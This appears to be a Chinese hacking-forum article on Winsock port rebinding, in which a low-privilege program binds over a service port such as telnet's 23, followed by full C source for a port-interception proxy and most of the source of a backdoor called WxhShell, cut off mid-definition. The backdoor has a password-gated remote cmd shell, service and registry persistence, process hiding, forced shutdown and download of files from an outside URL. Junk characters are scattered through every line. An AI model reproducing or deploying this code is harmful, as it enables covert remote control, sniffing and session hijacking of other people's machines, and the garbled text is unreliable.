在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
kP%W:4l0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>
3JU H<`[,t saddr.sin_family = AF_INET;
UQ>GAzh *MkhRLw\, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6__@?XzJ L}A R{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:^kP? <C6/R]x# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lg;Y}?P \E.t=XBn 这意味着什么?意味着可以进行如下的攻击:
e%G-+6 .]Z M2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{mL/)\ OR a!84L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&F\J%#{ 6f=/vRAh$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p'k stiB @Risabn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,@!8jar@w} ^iubqtT] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%R;cXs4r ]T^m>v)X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2Z@<llsi H'I|tPs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CV4V_G U^Z[6u #include
3HbHl?-UNU #include
Xkl^!, #include
1:7>Em<s #include
D4'?
V
Iz DWORD WINAPI ClientThread(LPVOID lpParam);
Bx&`$lW int main()
sNvT0 {
Beqhe\{ WORD wVersionRequested;
mkBQX DWORD ret;
QC <(rx WSADATA wsaData;
h9+ylHW_cp BOOL val;
G !1- 20 SOCKADDR_IN saddr;
f'FY<ed<w SOCKADDR_IN scaddr;
V@>?lv(\ int err;
NJUYeim; SOCKET s;
-f9M*7O<gf SOCKET sc;
K?[pCF2C int caddsize;
[tMf KO HANDLE mt;
Tc:W=\ < DWORD tid;
-|[_j$g wVersionRequested = MAKEWORD( 2, 2 );
CG9X3%xO% err = WSAStartup( wVersionRequested, &wsaData );
)[oU|!@ if ( err != 0 ) {
*BXtE8
BU printf("error!WSAStartup failed!\n");
$%r|V*5 return -1;
6xL=JSi~ }
0y;&L63>T saddr.sin_family = AF_INET;
#j-,#P@ g#[9O'H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`8FC&%X_ ]Jnf.3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.?I!/;=[ saddr.sin_port = htons(23);
iZMsN*9[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#-'}r}1ZT {
|B` -chK printf("error!socket failed!\n");
]Vb#(2<2 return -1;
=V5.c+ }
.yTk/x? val = TRUE;
sF+0v p
//SO_REUSEADDR选项就是可以实现端口重绑定的
Nr`nL_DQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%-A8`lf< {
2 )j\Lg_M printf("error!setsockopt failed!\n");
1.,mNY^UN return -1;
d`~#uN { }
"rX=G= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f{AgKW9" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,dVCbAS@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(la<X<w sx]?^KR: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
uTl:u {
2jhVmK ret=GetLastError();
CzvlZDo printf("error!bind failed!\n");
m/eGnv;! return -1;
ZC2C`S\xr }
6km
u'vw listen(s,2);
Q`vyDoF while(1)
{t=Nnc15K {
keJec`q=X caddsize = sizeof(scaddr);
%+I(S`} //接受连接请求
k2t?e:)3zr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U~H'c
p if(sc!=INVALID_SOCKET)
Ep?a>\ {
]#BXaBVMY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]Rj"/(X, if(mt==NULL)
Q|ik\ {
{Y0I A97, printf("Thread Creat Failed!\n");
rM?D7a{q break;
Ap!UX=HBb }
0H>Fyl2_ }
Q%eBm_r; CloseHandle(mt);
^1~/FU }
pM46I" closesocket(s);
Q ,;x;QR4 WSACleanup();
N\uQ-XOi return 0;
Ec\x;li! * }
rqF PUp DWORD WINAPI ClientThread(LPVOID lpParam)
\s+MHa& {
?ft_ SOCKET ss = (SOCKET)lpParam;
~zm/n,Epb SOCKET sc;
]~K&mNo unsigned char buf[4096];
<rC#1wR4 SOCKADDR_IN saddr;
wP8R=T long num;
z=K5~nU DWORD val;
i*^K)SI8 DWORD ret;
RChY+3,L) //如果是隐藏端口应用的话,可以在此处加一些判断
LqUvEq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3FXMM&w saddr.sin_family = AF_INET;
ttsB'|ps saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8uT6Q C f saddr.sin_port = htons(23);
.|aSGvE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
aDOH3Ri0K! {
1|nB\xgu printf("error!socket failed!\n");
E{fnh50^Q. return -1;
)I>rC%2P }
)/U1; O val = 100;
#!5Nbe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e`~q;?: {
WuNu}Ibl}m ret = GetLastError();
Dw#&x/G return -1;
e{}o:r }
8 6+>| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DA
wzXsx {
]bR'J\Fwl ret = GetLastError();
:5*<QJuI#A return -1;
6=g7|} }
vJCL
m/}* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s Y6'y'a95 {
ho20>vw# printf("error!socket connect failed!\n");
=
]@xXVf/ closesocket(sc);
)/ZSb1! closesocket(ss);
UF%5/SiVX return -1;
3LxJ}>]TO }
}O>Zu[8a while(1)
;VuB8cnL` {
os.x|R]_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CC09:L? //如果是嗅探内容的话,可以再此处进行内容分析和记录
eLTNnz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
BE+YqT num = recv(ss,buf,4096,0);
YHA[PF
if(num>0)
{Psj#.qP1 send(sc,buf,num,0);
\'EWur" else if(num==0)
~ZNhU;%YW break;
y?JbJ num = recv(sc,buf,4096,0);
yJL"uleRT if(num>0)
p)jxqg send(ss,buf,num,0);
AFFLnLA<L else if(num==0)
}M7kApb>Y break;
Sy'>JHx }
dJ!o/y6 closesocket(ss);
-Fdi,\e closesocket(sc);
3?XLHMxW return 0 ;
e||_j }
&\H5*A.HkA ]03ZrZ!
PM :mrGB3x{ ==========================================================
%PS-nF7v A;!FtD/
下边附上一个代码,,WXhSHELL
)2$_:Ek GVM#Xl}w9 ==========================================================
^pjez+ 2o$8CR; #include "stdafx.h"
(lnQ!4LK !LJ.L?9qw #include <stdio.h>
J50 ~B3bj` #include <string.h>
%_[-[t3 #include <windows.h>
?>y-5B[K/( #include <winsock2.h>
]xG8vy #include <winsvc.h>
yq}{6IyZ^ #include <urlmon.h>
DPwSg\*) #'8PFw\zw #pragma comment (lib, "Ws2_32.lib")
SIlg #pragma comment (lib, "urlmon.lib")
7&3URglsL" nX~MoWH1 #define MAX_USER 100 // 最大客户端连接数
-!0LIr:" #define BUF_SOCK 200 // sock buffer
W.|6$hRl) #define KEY_BUFF 255 // 输入 buffer
LasH[:QQQ [86'/:L\2 #define REBOOT 0 // 重启
;SW-dfo2i #define SHUTDOWN 1 // 关机
' XF`&3i *[H+8/n_ #define DEF_PORT 5000 // 监听端口
3+-(;>>\ Q]wM/7 #define REG_LEN 16 // 注册表键长度
X*"Kg #define SVC_LEN 80 // NT服务名长度
nIjQLx g5Dx9d{ // 从dll定义API
{K:Utdu($q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
PNKT \yd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
xu=B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_@N)]!\MgP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j''Iai_ ?iX=2- // wxhshell配置信息
/;rN/ot2o struct WSCFG {
4l''/$P int ws_port; // 监听端口
YBD {l char ws_passstr[REG_LEN]; // 口令
-W_s]oBg int ws_autoins; // 安装标记, 1=yes 0=no
9+QrTO char ws_regname[REG_LEN]; // 注册表键名
5E!m! nBZ char ws_svcname[REG_LEN]; // 服务名
B`scuLl3 char ws_svcdisp[SVC_LEN]; // 服务显示名
]M(mq`K char ws_svcdesc[SVC_LEN]; // 服务描述信息
sZ"U=6R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[kOA+\v int ws_downexe; // 下载执行标记, 1=yes 0=no
/[ ? F1Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~vGtNMQg char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`z_7[$\~ EKPTDKut };
qDM[7q3. +q/h:q.TV // default Wxhshell configuration
fmJW d| struct WSCFG wscfg={DEF_PORT,
2&0<$> "xuhuanlingzhe",
*Zi%Q[0Me 1,
\+3Wd$I "Wxhshell",
-o_TC "Wxhshell",
#/Fu*0/)` "WxhShell Service",
wYA/<0'yH "Wrsky Windows CmdShell Service",
Yp]G)}'R "Please Input Your Password: ",
Pp_3 nyQ 1,
EQ7n'Wqq "
http://www.wrsky.com/wxhshell.exe",
5j,qAay9 "Wxhshell.exe"
CS\tCw\Y };
C94@YWs -FN6sNvIh // 消息定义模块
/:`
i%E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
pPqN[OJ char *msg_ws_prompt="\n\r? for help\n\r#>";
0 l:pWc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ph?0I:eU char *msg_ws_ext="\n\rExit.";
<cv1$
x ~P char *msg_ws_end="\n\rQuit.";
ky[Xf -9# char *msg_ws_boot="\n\rReboot...";
uq4sbkP char *msg_ws_poff="\n\rShutdown...";
SrtVoe[ char *msg_ws_down="\n\rSave to ";
qW~R-g] $p3Wjf:bH char *msg_ws_err="\n\rErr!";
5u_4lNJ& char *msg_ws_ok="\n\rOK!";
Gd-.E7CH! RLz`aBT char ExeFile[MAX_PATH];
ZQ9oZHU m int nUser = 0;
_S2^;n? HANDLE handles[MAX_USER];
d?M!acB int OsIsNt;
Tn0l|GRuZA n&m?BuG SERVICE_STATUS serviceStatus;
D}/=\J/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
1m`tqlFU9 7~ese+\smG // 函数声明
o,Zng4NY int Install(void);
i!W8Q$V int Uninstall(void);
S@xsAib0J int DownloadFile(char *sURL, SOCKET wsh);
pLQSG}N int Boot(int flag);
)L<?g!j~ void HideProc(void);
Z4AAg int GetOsVer(void);
//M4Sq( int Wxhshell(SOCKET wsl);
:aq> void TalkWithClient(void *cs);
/QXs-T}d int CmdShell(SOCKET sock);
aE\BAbD7 int StartFromService(void);
?4>y2!OC9 int StartWxhshell(LPSTR lpCmdLine);
LAY)">*49H Flujwh@rg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k,R~oSA'n VOID WINAPI NTServiceHandler( DWORD fdwControl );
z3Y)- j]B$(pt // 数据结构和表定义
boF4d'g" SERVICE_TABLE_ENTRY DispatchTable[] =
<,pLW~2-" {
C6'*/wq {wscfg.ws_svcname, NTServiceMain},
8gtCY~m {NULL, NULL}
3.<6;? };
G#n^@kc*, HS`bto0* // 自我安装
i9\\evJs int Install(void)
12d}#G<q- {
%wjB)Mae char svExeFile[MAX_PATH];
(L0hS' HKEY key;
mrhp)yF strcpy(svExeFile,ExeFile);
@oz& 22/?JWL> // 如果是win9x系统,修改注册表设为自启动
9j?hF$L" if(!OsIsNt) {
bj7MzlGFy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]EM)_ :tRf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+:"6`um| RegCloseKey(key);
{ 1@4}R4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^[seK)S= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^Em@6fz[ RegCloseKey(key);
P\X=* return 0;
~6:LUM }
'!fFI 1s }
LA+$_U"Jk }
6PJJ?}P^1 else {
"_1-IE ) qyx|D // 如果是NT以上系统,安装为系统服务
~f=6?5.wa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
moVa'1ul if (schSCManager!=0)
g;-+7ViIr {
G{f`K^ SC_HANDLE schService = CreateService
g2aT`=&Z (
n.a=K2H:V schSCManager,
nrS[7~ wscfg.ws_svcname,
LN.Bd, wscfg.ws_svcdisp,
*K}z@a_ SERVICE_ALL_ACCESS,
cPx~|,)l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\L9?69B~ SERVICE_AUTO_START,
V8nz-DL{ SERVICE_ERROR_NORMAL,
g^z5fFLg/8 svExeFile,
Tw}?(\ya NULL,
D0#T-B\# NULL,
2%5^Fi NULL,
?79SP p)oo NULL,
urT/+deR NULL
oBRm\8 2| );
8tV=fSHd if (schService!=0)
EFRZ% Y {
B;z>Dd,Y_x CloseServiceHandle(schService);
#0?"J) CloseServiceHandle(schSCManager);
o0aO0Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
P e$^Mo.q strcat(svExeFile,wscfg.ws_svcname);
6`DwEs?Y{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
V`g\ja*Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=M1a 0i|d RegCloseKey(key);
zj9bSDVL( return 0;
I3 G*+6V }
~jp!"f }
.Y u<% CloseServiceHandle(schSCManager);
_Sly7_ }
0+K`pS' }
v7o?GQ75 I
9{40_ return 1;
A;fB6 }
-YzQ2#K l$k]O // 自我卸载
3R<ME c int Uninstall(void)
J.bFv/R {
0a2$P+p HKEY key;
&TP:yA[ ch0oFc$ if(!OsIsNt) {
:(bdI] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3 {NaZIk RegDeleteValue(key,wscfg.ws_regname);
DA+A >5/ RegCloseKey(key);
ZL4l
(&" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n0+g]|a
AF RegDeleteValue(key,wscfg.ws_regname);
g[#k.CuP RegCloseKey(key);
'DCKD4@C/ return 0;
}b_R5U$@@ }
lfxuc7Rdla }
Bmx(qE }
C<[d else {
w8 ?Pb$Fe mP9cBLz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qZ8|B if (schSCManager!=0)
G0I~&?nDa {
TJHN/Z/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8%;}LK if (schService!=0)
<Jwi~I=^ {
z>cIiprX if(DeleteService(schService)!=0) {
F^.om2V|9 CloseServiceHandle(schService);
ki;!WhF~ CloseServiceHandle(schSCManager);
B;xZ%M] return 0;
iEiu%T> }
W<\ kf4Y CloseServiceHandle(schService);
r+t ,J|V }
|rr$U CloseServiceHandle(schSCManager);
snXB`UC }
5z1\#" B[ }
~A8qeaP q%OcLZ<, return 1;
- *:p.(c }
5~@?>)TBv x`]Ofr' // 从指定url下载文件
8O~0RYk int DownloadFile(char *sURL, SOCKET wsh)
nGq]$h {
Ef2Yl HRESULT hr;
y]yine char seps[]= "/";
jMN)?6$= char *token;
y=[gQJ6~r char *file;
lq:]`l,6@ char myURL[MAX_PATH];
Sp 7u_Pq{ char myFILE[MAX_PATH];
c:=7lI `%$8cZ-kr strcpy(myURL,sURL);
Ap11b|v token=strtok(myURL,seps);
GxYW4b while(token!=NULL)
Z7JKaP9{: {
Of-C file=token;
8<YX7e token=strtok(NULL,seps);
#$LH2?) }
rlR
!& 9 wAA.
-" GetCurrentDirectory(MAX_PATH,myFILE);
9.xvV|Sp strcat(myFILE, "\\");
Z8&4z.6_ strcat(myFILE, file);
WHp97S'd send(wsh,myFILE,strlen(myFILE),0);
MQwIPjk8 send(wsh,"...",3,0);
vTpStoUM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
X.s*>' if(hr==S_OK)
yt. f!" return 0;
JDkCUN 5 else
:~vxZ*a return 1;
3Bejp+xX A/!<kp{S }
ci`zR9Ks ~ct2`M$TL( // 系统电源模块
py]KTRzy int Boot(int flag)
lwVk(l
Z {
i*X{^A73" HANDLE hToken;
9Hu
d|n TOKEN_PRIVILEGES tkp;
]53O}sH> F7\BF if(OsIsNt) {
Takt_N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
N5m'To] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(VR"Mi4 tkp.PrivilegeCount = 1;
G;/Q>V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
YnSbw3U.I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5QAdcEcN@O if(flag==REBOOT) {
0Y7$d` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B1E$v(P3M return 0;
'0Lov]L }
nt=x]wEC else {
Vr 8:nP: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
a>U6Ag< return 0;
,"B?_d6 }
RL6Vkd? }
4AQ[igTDP else {
md?b* if(flag==REBOOT) {
0mTEim if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H#35@HF*o return 0;
3 -tO;GKb }
:V-k'hm
& else {
{-HDkG' 8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0E-pA3M6 return 0;
kQLT$8io }
[9OSpq }
Dzr e' !n eo\ return 1;
UgR:qjI }
_5b0wdB q]TqI' o // win9x进程隐藏模块
bw9
nB{C< void HideProc(void)
]BfS270 {
vs+QbI6>- -j&Vtr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.Rvf/-e if ( hKernel != NULL )
}S */b1 {
c_#*mA"+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Rv<L#!;
t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^2EhlK^) FreeLibrary(hKernel);
}%$OU = T }
?KB@Zm+#~ Ad/($v5+ return;
xI?0N<'.*q }
)7dEi+v52 xdZ<|
vMR // 获取操作系统版本
mZ7B<F[qV int GetOsVer(void)
r2nBWA3 {
}#6xFTH OSVERSIONINFO winfo;
n3$gx,KL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GF'f[F6oI GetVersionEx(&winfo);
? Vp%=E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)Q]w6he3 return 1;
qBYg[K> else
Jt]&;0zn2 return 0;
SNab
}
0/Z
!5-. hsz^rZ // 客户端句柄模块
$3k
"WlRG int Wxhshell(SOCKET wsl)
n(>C'<otj {
&RW`W)0; SOCKET wsh;
j0x5@1`6G struct sockaddr_in client;
ZVL
gK}s DWORD myID;
cKjRF6w 3+>OGwfQ while(nUser<MAX_USER)
,[X_]e;
{
J4>;[\%m int nSize=sizeof(client);
|@RpWp>2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
b9 uBdo@o if(wsh==INVALID_SOCKET) return 1;
vd (?$ [jrqzB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T@P!L if(handles[nUser]==0)
N*_"8LIfi_ closesocket(wsh);
>b48>@~bY else
8eJE>g1J nUser++;
,q#2:b<E }
l^W uS|G[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
MQ` %`` HCj>,^<h return 0;
mI"D(bx\ }
w"8V0z ~}Z'0W)Q`z // 关闭 socket
% (<(Y void CloseIt(SOCKET wsh)
aGK@)&h$ {
\u M? S closesocket(wsh);
'#D8*OP^ nUser--;
Svw<XJ ExitThread(0);
((<`zx }
()\jCNLT 9I.^LZ" // 客户端请求句柄
"3}<8c void TalkWithClient(void *cs)
TH4\HY9qa? {
(0L=AxH vtyx`F
f SOCKET wsh=(SOCKET)cs;
"^Rv# char pwd[SVC_LEN];
YQd:M%$ char cmd[KEY_BUFF];
wL3,g2- L char chr[1];
$a(`ve| int i,j;
1~\M!SQ) |m;L?)F< while (nUser < MAX_USER) {
S6sq#kcH @AQwr#R"l if(wscfg.ws_passstr) {
`}fw1X5L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|cd-!iJX- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F!yV8XQ //ZeroMemory(pwd,KEY_BUFF);
9v?l i=0;
EzpFOqJG while(i<SVC_LEN) {
}x :f%Z5h =&vFVIhWcf // 设置超时
|=K_F3aJ fd_set FdRead;
,_ .v_ struct timeval TimeOut;
S3Y2O
x FD_ZERO(&FdRead);
VhEka# FD_SET(wsh,&FdRead);
lH2wG2 TimeOut.tv_sec=8;
x({C(Q'O
TimeOut.tv_usec=0;
tR)H~l7q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)D/ 6%]O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+Xy*?5E;C P^)q=A8Z# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jc:s` 4 pwd
=chr[0]; \/5RL@X}
if(chr[0]==0xd || chr[0]==0xa) { |+}G|hx@9
pwd=0; lzhqcL"
break; vmX"+sHz$]
} :a0zT#u
i++; lAi2,bz"
} "G?Yrh
d
6t:hn
// 如果是非法用户,关闭 socket 9P WY52!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gfg n68k
} cWLqU
A''pS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MX|H}+\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Q.#\
'V&Y[7Aeq
while(1) { 09h.1/
ST dNM\+
ZeroMemory(cmd,KEY_BUFF); ~Z)/RT/
GTl
xq%?b
// 自动支持客户端 telnet标准 w$ fJ4+
j=0; !3qVB
while(j<KEY_BUFF) { =#xK=pRy;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e0HfP v_
cmd[j]=chr[0];
F0lOlS
if(chr[0]==0xa || chr[0]==0xd) { HM9fjl[
cmd[j]=0; ej(ikj~j
break; <AoXEuD
} @n+=vC.xO
j++; >m6&bfy\q
} y 1\'(1
Mps5Vv
// 下载文件 =^;P#kX
if(strstr(cmd,"http://")) { `[fxyg:u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .uz|/Zy
if(DownloadFile(cmd,wsh)) vbG]mMJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |j~lkzPnV
else B.dT)@Lx0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ('[TLHP
} kHK0(bYK
else { </`yd2 >
7'lZg<z{~j
switch(cmd[0]) { t^tmz PWA
gm"#:< )
// 帮助 b #fTAC;<
case '?': { Ea $aUORm
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (eWPis[
break; 23]Y<->Eu<
} OFU/gaO~
// 安装 {KL5GowH
case 'i': { {y)s.b~JB
if(Install()) EcL-V>U#M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]d}0l6
else T^.Cc--c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jeUUa-zR3
break; #FxPj-3(ix
} jM)C4ii.-$
// 卸载 k@mVxnC
case 'r': { Nf41ZT~
if(Uninstall()) ""iaGH+Cxw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vr.Y/3N&'
else dtt ~ Bd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cC{"<fYF
break; qoMfSz"(
} V@-)\RZm
// 显示 wxhshell 所在路径 ;3eKqr0
case 'p': { }f}}A=
char svExeFile[MAX_PATH]; %kshQ%P)?
strcpy(svExeFile,"\n\r"); Q>< 0[EPj3
strcat(svExeFile,ExeFile); <.K4JlbT
send(wsh,svExeFile,strlen(svExeFile),0); #KlCZ~s
break; XRN+`J
} 2BXy<BM @
// 重启 ~nLN`Hd
case 'b': { bC!`@/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OX]V)QHVZ
if(Boot(REBOOT)) B=f,QU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &DG->$&|
else { FDzqL;I
closesocket(wsh); O*6n$dUj3
ExitThread(0); 1 T<+d5[C
} I{'f|+1
break; `_ %S
} aW_oD[l
// 关机 PUJ2`iP1^3
case 'd': { 68fiG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G"5D< ]
if(Boot(SHUTDOWN)) Lo.rvt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); am1[9g8L
else { x\e;+ubt}
closesocket(wsh); J5Z%ImiT^O
ExitThread(0); ,8'>R@o
} @D^^_1~
break; u^Ku;RQo
} Uh
eC
// 获取shell oTjyN\?H
case 's': { 2NGeC0=
CmdShell(wsh); E_z;s3AXQ
closesocket(wsh); uQ$^;Pr
ExitThread(0); :'L2J
break; CbBSFKM
} e> rRTN
// 退出 eYUr-rN+)z
case 'x': {
uE/T2BX*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .0 )Y
CloseIt(wsh); Yj|eji7y
break; Vgb *% I
} inb^$v
// 离开 9I7\D8r
case 'q': { }GMbBZ:nKK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^jB8Q
closesocket(wsh); RrZM&lXY
WSACleanup(); lf<S_2i
exit(1); ZIR0PQh\
break; P;[OWSR[d
} 1F'1>Bu~
} WO5O?jo'
} 8M,9kXq{L
OI1ud/>h
// 提示信息 #eZ6)i<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q#A (gyy
} lASL8O&\
} n]_[NR) i
UV
4>N
return; RgdysyB
} `vG,}Pt]
x&Vm!,%:1
// shell模块句柄 AmPMY:1i"
int CmdShell(SOCKET sock) 0kQPJWF
{ yq-=],h
STARTUPINFO si; `O?TUQGR
ZeroMemory(&si,sizeof(si)); /M~!sPW&?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,21 np
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <:/&&@2
PROCESS_INFORMATION ProcessInfo;
XIo55*
char cmdline[]="cmd"; `i) 2nNJ"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `(+o=HsD
return 0; iB0WEj[?
} ,r^M?>
r"2V
// 自身启动模式 7'-Lp@an
int StartFromService(void) 9j]sD/L5q
{ 4to% `)]
typedef struct Xv <G-N4
{ a {}|Bf<
DWORD ExitStatus; <}U'V}g
